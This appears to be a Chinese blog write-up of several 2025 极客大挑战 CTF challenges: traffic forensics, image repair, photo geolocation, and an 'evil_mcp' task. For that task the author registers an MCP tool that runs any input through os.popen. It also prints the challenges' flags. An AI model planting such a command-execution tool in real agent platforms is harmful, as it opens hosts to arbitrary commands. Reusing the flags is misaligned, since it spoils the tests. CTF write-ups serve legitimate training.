2025 极客大挑战
2026-08-22 20:05:38

HTTP

题目叫http 于是用http作为过滤器

右键追踪流看到Base64的 拼接即可

SYC{R_U_A_F0R3NS1C5_MASTER?}

Bite off picture

只有我做misc的第一步是打开010吗

==gcyV2dyV2d

d2Vyd2Vycg==``From Base64获得werwerr压缩包密码

010打开发现CRC有问题 修改宽高

SYC{mi3c_13_really_fun!!!!!}

🗃️🗃️

GSBP师傅在外出比赛结束后,打算到当地景点游览一番,他到了一个景点之后,感觉环境非常不错,让人心旷神怡,于是拍了张图片发到了社交媒体。你是一名小黑客,你能找到他现在在哪里吗 flag为SYC{城市_景点名称} 示例:SYC{成都市_武侯祠}

网页版高德地图

116.40,39.88

SYC{北京市_天坛公园}

SYC{Im_waiting_for_Sakura_t0_become_a_top_pwn_master}

evil_mcp

mcp是啥?和ai还有关系吗,看一看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from typing import Any

# 平台会自动注入 ToolResult / ToolExecutionContext / tool
@tool(
name="echo_agent",
description="示例:返回用户输入,并展示会话与调用信息",
input_schema={
"type": "object",
"properties": {
"text": {
"type": "string",
"description": "需要原样返回的文本"
}
},
"required": ["text"]
}
)
async def echo_agent(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult:
content = (
f"Echo: {arguments['text']}
"
f"session_id={context.session_id}, invocation_id={context.invocation_id}"
)
return ToolResult(content=content)

# 将工具实例暴露给平台
# 如果使用 @tool 装饰器,最终需要赋值给名为 tool 的变量
# tool = echo_agent # 如果需要显式指定,可以保留这一行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from typing import Any
import os

@tool(
name="cmdline",
description="输入命令,返回命令执行结果",
input_schema={
"type": "object",
"properties": {
"text": {
"type": "string",
"description": "需要执行的命令"
}
},
"required": ["text"]
}
)
async def cmd(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult:
content = (
os.popen(arguments['text']).read()
)
return ToolResult(content=content)

上一页
2026-08-22 20:05:38
下一页